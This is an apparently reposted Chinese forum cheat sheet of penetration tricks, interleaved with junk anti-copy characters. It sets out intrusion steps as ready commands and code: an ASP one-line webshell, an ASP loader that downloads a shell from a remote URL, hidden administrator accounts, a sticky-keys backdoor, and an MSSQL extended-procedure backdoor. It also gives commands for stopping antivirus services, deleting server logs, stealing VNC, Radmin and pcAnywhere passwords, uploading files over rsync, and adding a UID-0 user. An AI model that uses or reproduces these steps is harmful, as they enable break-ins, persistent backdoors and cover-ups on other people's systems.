渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
On Error Resume Next
( o$ d4 O/ ^: P- SIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
+ }% z) b( G& E& g        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
0 ^- H$ t( S0 b: c
Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject

6 C7 ^1 K3 n/ B& p("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
: E( @* n" K* x        If IsNumeric(obj3w.Name)

! u3 z1 R8 I- u) G2 eThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
( i1 `+ D2 U3 o" ^) \/ R# U
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

<> 0 Then WScript.Quit (1)
4 T* U# g1 d8 g# I/ q                WScript.Echo Chr(10) & "[" &

+ z/ h# G1 Q0 ^+ \; E% DOService.ServerComment & "]"
7 H& K( M! Z/ T$ E8 t. B                For Each Binds In OService.ServerBindings
3 V0 ^' H( k# a     
* Z, \: \( C: J& z  m2 y6 ?
0 s/ q9 s3 W- D: R. b; B$ m                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
: Q# S1 g  q" F
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
9 v. ]: z- D# n0 D& }  P                Next
      

         WScript.Echo "ath            : " & VDirObj.Path
4 ~+ C- [; F8 S' {5 f) j: s$ |        End If
Next
1 `1 ~/ t- d) Y4 ]. Z* t复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
8 Y. X" d1 S& _( y, S( Qurl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
! c' K" K/ t: W3 |& |. LphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
! H8 L" I4 l  z5 q- D9 S4 G) vphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
! ?+ e8 y* l0 l/ t7 d7 m  [0 H————————————————————
; \3 L  l* P- [+ N/ s& D网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
0 a/ |3 J4 s3 J+ }8 p8 b; Q5 lnetsh ras set user administrator permit #允许administrator拨入该VPN
4 G6 u5 s8 ?0 h+ U/ l7 P! \netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
$ l. w6 S/ _& m; hnetsh ras ip show config #查看VPN分配IP的方式
6 y- Z9 q) f6 }  w3 vnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
9 X4 J- }! F5 W/ W. ?1 m, W6 g+ ]netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
4 F: P# [9 o% H- R命令行下添加SQL用户的方法
6 G3 _9 M3 z, h3 }: r需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
( {# X9 o- r; y3 V7 J( j, \; Qjs:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
5 M. a4 o% p1 ], l# c( ~z.changePassword("123456","")
z.setting("AccountType")=3;

6 X7 c, j6 O' }; h" U, Yvbs:
Set   o=CreateObject( "Shell.Users" )
2 B6 q% A8 v4 }7 m7 y" d$ m1 \2 l, xSet z=o.create("test")
2 D5 L. E: @9 B3 c( N% b: }5 oz.changePassword "123456",""
) P- N# M7 L- Zz.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

6 u: m. ^: ^) y  m4 M* {' V命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
: ]& j$ ]7 v4 J8 X9 K————————以下配合PR更好————
# t: c% S/ ~6 X" ?' E5 H3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
' Q/ k0 M1 Z6 Sc、终端服务器超出了最大允许连接
3 U" x4 G. V- Z- `& YXP 运行mstsc /admin
2003 运行mstsc /console   
2 F6 ^  a* X6 H* b) V
6 U( O/ h7 d: Y- A* A杀软关闭（把杀软所在的文件的所有权限去掉）
$ J8 I9 E; S# R处理变态诺顿企业版：
" Y7 Q' [; Z7 `) L. }" ynet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
% n# w8 K3 p9 m6 Inet stop "Symantec Event Manager" /y
- f! g: m" {  ]1 L9 Snet stop "System Event Notification" /y
1 E% l$ h; n& U+ g5 `* x- e% c) ]net stop "Symantec Settings Manager" /y
# D9 L( I) s: s
卖咖啡：net stop "McAfee McShield"
9 y6 \& E8 g) X9 b& a————————————————————
- ~, ^" R1 N; l: G: D; Z4 Q  @
. @9 h( U. u! e' ?5次SHIFT：
+ v: L3 S' S& W2 F8 a2 @copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
& n$ o7 l# S1 ?; xcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
: W3 o" u3 P- _copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
$ S8 x) P% B+ i——————————————————————
# [( N, R$ ?, z: }0 L0 x( H" d隐藏账号添加：
, m/ v" \) x7 Q' {' v: [1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
9 r4 S! C5 C5 ?9 N/ a) e4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
USE master;
0 F2 Y  e0 e, T2 bEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
3 K) b& n- I5 E' c7 w5 g5 ?0 [GRANT exec On xp_helpsystem TO public;
———————————————————————
; [( g& x. k- b7 x) B. d日志处理
+ z1 \, Z& l# z$ M7 kC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
5 B: w) t. M- @! T& U9 tex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
5 w4 b+ W. J7 p不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
: u" d; m8 }6 x) w0 k, P- |用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
! V, N  F! r3 [, L+ r3 g' H当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
* K' r- |7 \% E: G找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
4 s# ?0 o! d8 U! G
3 I! r2 W' z* }Server\90\Tools\Shell\mru.dat
—————————————————————————
+ O  a* `, o8 p2 w- s! U防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
, V2 y$ Z) r" S* b: C& r+ G3 T7 \Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
1 L3 F# Z: C, q6 S8 b+ LSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
" n. w8 O1 a- P# CGetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
( u- N8 `( q- @  F* K1 J* |.Type = 1
.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
End With
; @& R& p5 _, dSet Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
- T* F. O0 L! ]2 S8 }% D7 u6 u%>

6 Z* J+ |7 r$ t* I7 cVNC提权方法:
/ {7 o9 u; r9 s) ~. r+ L$ b" s利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
' b: `1 A0 R! r0 a0 ?0 Y0 j$ s注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
* l# P" v" S: N' J( D; Rregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
! k# q9 n- N. Q& aRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
5 `# P5 |. s1 t) }9 n9 zHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
2 t0 i  E( q" m% ]0 C如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
- F2 K, ?( V$ ~7 l, `. X+ L——————————————————————
3 H5 Y6 v$ V) k0 j% {1 J搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
$ z/ o' `4 N/ T9 a; C& k9 K7 Y——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
- P3 x( w6 {0 L' e来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
- k+ T9 I7 C3 D9 O7i24的web目录也是可写，权限为administrator。
2 X1 u% {5 e  V' A4 h! `8 \
! q0 Q; ]$ P1 Y* \, J2 t0 S1433 SA点构建注入点。
4 a% M6 h3 O1 }- m( Z( O: T<%
6 }$ ]; Q6 {; ~2 e1 n3 EstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
* W/ b$ r7 ]8 q3 SstrSQLDBPassword = "数据库密码"
# w0 q# H3 ?8 J( p! gstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
7 G" z  Z- h1 W( ]strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
& A( A4 A, l% J! W  D
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
- ^9 S$ j3 K/ I) }+ E
strSQLDBName & ";"
0 O" c0 k$ ]. X! |conn.open strCon
2 d3 X; i3 m+ i! I- }, U; T/ Gdim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
) s* W/ D0 W5 Q/ i7 k4 Krs.close
%>
; e# @2 S% N4 @  z/ P* ^复制代码
******liunx 相关******
* n9 n5 S' E6 v' s: d+ O一.ldap渗透技巧
6 |8 S7 d3 I3 E' |1.cat /etc/nsswitch
# x7 ]9 E( ~2 {+ m; P看看密码登录策略我们可以看到使用了file ldap模式
1 b# d: A) a9 }2 U/ n5 O1 y
2.less /etc/ldap.conf
( k7 _; S- e9 Gbase ou=People,dc=unix-center,dc=net
/ @9 c5 k: i: a8 |4 v$ N找到ou,dc,dc设置
/ q& B* }2 z' e$ f6 g
" _1 [* u& v) J, a4 u3.查找管理员信息
匿名方式
% Z& j7 W0 c: k  r2 Q/ {6 J0 u! b2 ^ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

* g. V. ?* N2 }5 D5 l' _+ a"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
5 D! g. y5 o' Z' J/ n4 m有密码形式
# _2 U. z: Q# O, ]# C5 a$ N3 R5 Dldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

+ J( S) @* A2 g8 _"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

. Z' @, e) q: ~
4.查找10条用户记录
+ [! X- m+ O# j( r! [. t6 Rldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
: W! {8 |6 b8 ]% I
9 r# n4 @; H$ ?2 d6 S8 S2.less /etc/ldap.conf
( |8 D! b, J; cbase ou=People,dc=unix-center,dc=net
8 ~% P+ f5 D! F" X找到ou,dc,dc设置

9 c7 `* m4 E' Y: z, G3.查找管理员信息
" q% E/ O9 T2 r( _& Y: Z$ v/ g' ]" [! g匿名方式
6 E. G7 R& t$ ?- Q) I" m) yldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
2 l+ Q5 i4 D" z7 \
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
# m- e5 p; {/ }3 n: V9 W4 d+ {ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

/ L, y* ~" H3 A$ ^) y% D"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
7 i8 N  k( l, j# m6 V) c7 G
0 F+ o( {" E) w+ I
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

. n; {8 a) A4 E( w, [渗透实战:
" q* @/ s' p0 p' }" |7 q1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
3 W" P8 B  V# A  nversion: 1
) I+ a  A  J' D0 A. E- @dn: dc=ruc,dc=edu,dc=cn
: k. d% B% O5 b$ wdc: ruc
& n6 _1 ^# M) W! E2 Q% {objectClass: domain
& v; q0 ?" j4 k0 \% _
% P) @) U" b5 \. O9 gdn: uid=manager,dc=ruc,dc=edu,dc=cn
' `  ^: I6 T, O* D1 quid: manager
objectClass: inetOrgPerson
  M$ {7 i( F$ l. H0 S- E' TobjectClass: organizationalPerson
6 ?! ?3 U0 G; Y/ u8 q, xobjectClass: person
objectClass: top
, _7 o! s' f8 A8 F9 @sn: manager
cn: manager
( B' G8 E  K3 U
$ ?% T* u  f/ w2 R6 }4 T) w# Bdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
9 G7 K2 m( A9 P/ _3 UobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
+ ~: H5 J  O& I2 T7 G& d8 I" sobjectClass: top
sn: superadmin
cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
' i# F7 j! h2 CobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: admin
cn: admin

0 n/ B2 P% p8 [1 Sdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
- o6 C& D0 Q) N  a! T5 Puid: dcp_anonymous
objectClass: top
9 i) o( j2 {7 BobjectClass: person
objectClass: organizationalPerson
* \4 k- n; k9 Z% l0 L& aobjectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

+ H5 m7 }1 L7 p2.查看基类
- j" L$ W( t! Hbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
* f7 Q2 H! V8 {
3 B/ ^; T9 r* s: Q% Vmore
8 ^3 `8 Z% y2 Z8 J3 qversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
/ K1 l; L+ P. x/ s* [objectClass: domain

3.查找
: x* V) Q( w$ s3 Zbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
  y3 v6 |- {; T: x- idn:
  a9 N& D  X* e$ `5 _. Y! ZobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
3 t2 F% U4 E3 j: {supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
; B- y# h4 [3 g2 j+ J7 esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
( C* r, Q' v* @3 Y- V. T* TsupportedExtension: 2.16.840.1.113730.3.5.3
# j* o* @: ~& b. ?supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
! {# f+ I: Y: V* M$ J( g" @supportedExtension: 2.16.840.1.113730.3.5.4
  y: P, l5 ^9 U) ]* e, xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
2 G, ?* z7 s5 E, asupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
: N; n8 n4 E" z/ I0 fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
  m7 t, z( d/ E9 }' c3 M: ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
, r2 y# d: ^4 R0 W, UsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
4 d1 U) L! ]; gsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
0 C" j. Q' n: vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
6 s- \& y8 }! W( c0 D2 _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
1 N" O4 A% J" x5 ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
6 a  x( D, z' CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
" c. _8 |& e( d. G# {/ RsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
1 ~9 m$ A! R3 F- [supportedExtension: 1.3.6.1.4.1.4203.1.11.3
2 v- @4 \3 }* I) v& B3 s# e6 lsupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
$ L$ B" g2 Q7 l8 [+ x9 |supportedControl: 2.16.840.1.113730.3.4.4
. r% y& M' C8 ?0 Q- C/ f3 p( AsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
. g1 G" Z& n. `$ C* I" tsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
( z, w& N! q! f1 p& A7 v' B" WsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
$ i& j: F( K1 C9 k, K/ O" |# [supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
$ B* k8 |3 F. v7 fsupportedControl: 1.3.6.1.4.1.1466.29539.12
, g2 t1 v( S7 K& D( d; q/ n6 CsupportedControl: 2.16.840.1.113730.3.4.12
% V0 y9 K3 C8 _. Q/ QsupportedControl: 2.16.840.1.113730.3.4.18
- C* C3 p$ Q- \$ bsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
7 {0 U" M  x, t0 ?7 ksupportedLDAPVersion: 2
/ h& c: O3 m; Y# S$ F, k' _+ _, Y6 w8 QsupportedLDAPVersion: 3
; a( ?' K1 v% _. l+ T1 bvendorName: Sun Microsystems, Inc.
9 D; K/ i$ }2 d) h7 ^1 ZvendorVersion: Sun-Java(tm)-System-Directory/6.2
: q% ^% t5 k  i) P* r% Sdataversion: 020090516011411
6 O7 U0 T0 f9 E* Snetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
2 t. a9 q) F8 r/ B# q4 ?supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
' s' ^' d/ T- Q1 _. D7 BsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
; n: U' B, d/ KsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
; F; k3 K3 p2 a2 SsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
  m4 r5 h/ W8 @3 v2 U. I! gsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
0 k% c: P9 B4 }7 K* WsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
  k/ }  b4 i  e# T" _. L5 MsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
! O3 f7 r$ w( X7 i# h8 @& y3 rsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
& |( b. H# Z0 Z  YsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
  p0 l3 U& u0 z4 w' m' {4 GsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
; _1 Q% s7 o- }5 u8 b& QsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
& J8 M  f& ]$ }5 k: hsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
; v7 d% M1 C6 ~2 s5 T% asupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
+ G/ Y3 V$ u+ {/ MsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
% M7 e: j0 u( PsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
" q1 g! p7 ~& n% ?5 psupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
6 ]8 x% [- T1 l$ H( LsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
( N2 E1 D5 O' T0 c2 u' TsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
8 Y7 _& E) A  wsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
- {1 L% G7 E& X1 |supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
! ~' k  e* |0 h; W, A& gsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
( I9 R9 t+ r; D4 P- HsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
7 U0 @- }% T* g- l7 c8 DsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
, U/ T, G" K. z% G: p% wsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
% _# c+ f5 x/ d: d4 fsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
  w* G7 m, x+ B+ j2. NFS渗透技巧
" E- d& y& [( x6 r, e# S4 Hshowmount -e ip
列举IP
——————
- B5 F, @1 S: w& n" B" ?3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
2 U" S( p1 ~2 r( @9 j% [finance
img_finance
auto
/ }" O- o- D4 A1 S0 N, pimg_auto
html_cms
$ f5 I  U$ e# r( q+ o, w% \img_cms
5 f+ b& V* `5 ]! k9 l3 l- q/ Vent_cms
ent_img
1 Q+ ^; |0 o9 ~" Z: rceshi
res_img
res_img_c2
chip
chip_c2
ent_icms
games
) A- N; J1 {: R& xgamesimg
2 Q8 n* Q# A" j/ g9 Emedia
' z* n, W* N: C* z+ Hmediaimg
$ q/ Y3 m: P- l$ @6 @fashion
res-fashion
res-fo
, x( W) W* V+ G: {) n3 [7 K1 F" Ntaobao-home
res-taobao-home
' }' P4 j8 r0 k" y) R0 L! _house
res-house
res-home
" n8 O* k6 p2 T# Z6 |7 ~+ i8 xres-edu
res-ent
res-labs
res-news
res-phtv
res-media
  e. C! f$ C6 y/ |5 Ghome
# w; W+ u. e- Cedu
news
res-book
4 `" S+ r! o" v# ^
看相应的下级目录(注意一定要在目录后面添加上/)
$ R0 c) z2 B3 `# {5 z7 k+ T
1 q2 N+ R2 Y& a. r+ Z
rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
, J4 I* j2 i, Y! _- }rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
, O& Q% w# K: J7 Z" frsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
: o# ]6 ~/ V- E7 u  ^' K
  ]4 N  S3 I. h" B; O) L$ t3.向上更新rsync文件(成功上传,不会覆盖)
' E4 o. P% \& Q; Yrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

: `- A) s' ~# S) l& s- K四.squid渗透技巧
$ ^1 D* c* J7 l' Q1 J8 a1 W' q& g9 }nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
" G) d+ o/ f1 e6 DGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
, Z' B# L  b8 M* H# nssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
, G4 G: |6 N8 ^. m* d) K% ~# q
六.joomla渗透小技巧
0 u4 D' O' o2 b, f确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
7 ~6 j/ a. t" |
0 J" u& O& m  n" _15&catid=32:languages&Itemid=47
+ d- U5 V' z4 w& i! A% l
0 D2 m2 A. u7 K% L* D重新设置密码
, {: U% Q0 q/ c. b5 t  R: X% G, b- iindex.php?option=com_user&view=reset&layout=confirm
3 F9 h8 I- Z( d/ h* {
七: Linux添加UID为0的root用户
7 k/ v" X9 A' h% |8 b4 g1 }useradd -o -u 0 nothack

( K. W* U+ }: N" P八.freebsd本地提权
# e/ R! {, l* Q2 X7 G[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
6 O( G" C, z  W. t# B& i: h2 f. o  L* [argp@julius ~]$ sysctl vfs.usermount
* D' }, E" D$ z7 }/ M* vfs.usermount: 1
* [argp@julius ~]$ id
5 p3 X; F' f1 \9 g9 _3 V* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
! |  p, z* N9 P/ v9 {*
; ]/ L% w0 U2 [0 {calling nmount()

. T; r, w# b* k（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
